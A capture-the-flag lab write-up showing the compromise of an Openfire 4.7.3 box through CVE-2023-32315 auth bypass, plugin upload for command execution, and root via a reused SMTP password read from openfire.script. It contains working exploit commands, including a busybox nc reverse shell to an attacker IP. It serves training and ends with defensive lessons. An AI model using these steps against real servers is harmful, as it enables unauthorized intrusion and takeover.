the_open_door
coffee
ESEN

Fired

Proving Grounds PracticeMediumLinux192.168.131.963 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#openfire#cve-2023-32315#auth-bypass#path-traversal#plugin-rce#management-tool#credential-reuse#information-disclosure#oscp
TL;DR. Fired runs Openfire 4.7.3, vulnerable to CVE-2023-32315: a path traversal in the admin console bypasses authentication and lets us create an admin (Openfire auth bypass (CVE-2023-32315)). Once in, we upload the "management tool" plugin, which offers an "Execute command" and gives us a shell as openfire. The embedded database (openfire.script) stores a password reused as root's (credentials in source/config).

Recon#

Initial scan#

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.


ping -c 1 192.168.131.96
64 bytes from 192.168.131.96: icmp_seq=1 ttl=61 time=30.0 ms

SSH and the two Openfire console ports:


sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.131.96
PORT     STATE SERVICE
22/tcp   open  ssh
9090/tcp open  hadoop-datanode
9091/tcp open  ssl/hadoop-tasktracker

nmap -p22,9090,9091 -sCV 192.168.131.96 -oN targetedScan
PORT     STATE SERVICE                VERSION
22/tcp   open  ssh                    OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux)
9090/tcp open  hadoop-datanode        Apache Hadoop
9091/tcp open  ssl/hadoop-tasktracker Apache Hadoop

The "Apache Hadoop" labels are a misleading fingerprint: 9090/9091 serve the Openfire admin console (the jive-* headers give it away). The console login itself shows the version: Openfire 4.7.3.

Openfire Administration Console login with "Openfire, Version: 4.7.3"

Exploitation#

CVE-2023-32315: authentication bypass#

Openfire 4.7.x (before 4.7.5) is vulnerable to CVE-2023-32315: a path traversal against the console (/setup/setup-*) reaches restricted pages without a session, and with that you can create an administrator (Openfire auth bypass (CVE-2023-32315)). Searching for the exploit by version turns up K3ysTr0K3R's:

Search "openfire git exploit" pointing to the K3ysTr0K3R/CVE-2023-32315-EXPLOIT repo (Openfire Authentication Bypass)

The exploit automates registering a new admin:


wget https://raw.githubusercontent.com/K3ysTr0K3R/CVE-2023-32315-EXPLOIT/refs/heads/main/CVE-2023-32315.py

python3 CVE-2023-32315.py -u http://192.168.131.96:9090
[+] Target is vulnerable
[+] Successfully added, here are the credentials
[+] Username: hugme
[+] Password: HugmeNOW

RCE via the "management tool" plugin#

We log into the console with the created account, hugme/HugmeNOW:

Openfire console login with hugme / HugmeNOW

Openfire admin console logged in as hugme

Openfire lets you upload .jar plugins from Plugins → Upload Plugin. We upload the well-known "openfire management tool" plugin:

Openfire plugins panel with the Management Tool uploaded as admin hugme

The plugin adds a Management Tool entry under Server → Server Settings:

Management Tool menu added by the plugin in Server Settings

The tool asks for its own password (123, the public plugin's default):

openfire management tool login (openfireshell) with password 123

Once in, it offers a system command mode with an Execute command field. A whoami confirms RCE as openfire:

The management tool runs whoami in system command mode and returns openfire

Before triggering the shell, we set up Penelope listening on 22:


penelope 22

From that field we run commands with the service's privileges; we fire a reverse shell:


busybox nc 192.168.45.204 22 -e bash
(Penelope)> listeners add -p 22
[+] Got reverse shell from openfire~192.168.131.96-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /bin/python3!
openfire@openfire:/$ whoami
openfire

The plugin's Execute command field fires the busybox nc and Penelope upgrades the connection to a PTY: the shell runs as openfire, the service account.

Local#


cat local.txt && whoami && ip a && hostname
9fa5c8ea7c2dcb09312c1d2c9c229b51
openfire
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:2c:92 brd ff:ff:ff:ff:ff:ff
    inet 192.168.131.96/24 brd 192.168.131.255 scope global ens160
       valid_lft forever preferred_lft forever
openfire

Privilege escalation#

Root password in openfire.script#

Openfire uses an embedded database in /var/lib/openfire/embedded-db/. The openfire.script file holds the configuration INSERTs, including secrets stored in cleartext. We grep for passwords (credentials in source/config):


cd /var/lib/openfire/embedded-db

cat openfire.script | grep pass
INSERT INTO OFPROPERTY VALUES('mail.smtp.password','OpenFireAtEveryone',0,NULL)
INSERT INTO OFPROPERTY VALUES('passwordKey','EOAJUe2Sqdlfqjk',0,NULL)

The SMTP password, OpenFireAtEveryone, is reused as root's password:


su root   # OpenFireAtEveryone
openfire@openfire:/var/lib/openfire/embedded-db$ su root
Password:
root@openfire:/var/lib/openfire/embedded-db# whoami
root

The SMTP password was reused as root's password: su root with OpenFireAtEveryone gives us the root account.

Root#


cat proof.txt && whoami && ip a && hostname
673d5a3b8870d82b06088246e71d1d87
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:2c:92 brd ff:ff:ff:ff:ff:ff
    inet 192.168.131.96/24 brd 192.168.131.255 scope global ens160
       valid_lft forever preferred_lft forever
openfire

Attack chain#

Openfire (9090/9091)  --  admin console 4.7.3
        │  CVE-2023-32315: path traversal -> create admin hugme/HugmeNOW
        │  upload management tool plugin -> Execute command -> reverse shell
        ▼
openfire  (local.txt)
        │  openfire.script leaks mail.smtp.password = OpenFireAtEveryone
        ▼
root  (proof.txt)  [su with OpenFireAtEveryone]

Lessons learned#

  • Banners can lie; identify by content. nmap tagged the ports as "Apache Hadoop", but the jive-* headers and the interface revealed Openfire. Do not rely on -sCV alone.
  • A path traversal in setup bypasses authentication. CVE-2023-32315 reached configuration pages without a session, and from there you create an admin. Keeping the service patched (4.7.5+) prevents it.
  • Uploading plugins as admin is RCE. An admin panel that accepts arbitrary .jar files grants code execution. Admin access must be protected like a shell account.
  • Do not store reused secrets in config. openfire.script had the SMTP password in cleartext, and the same one worked for root. Secrets should be unique per service and, ideally, not persisted in plaintext.
Command cheatsheet 5 commands

Quick review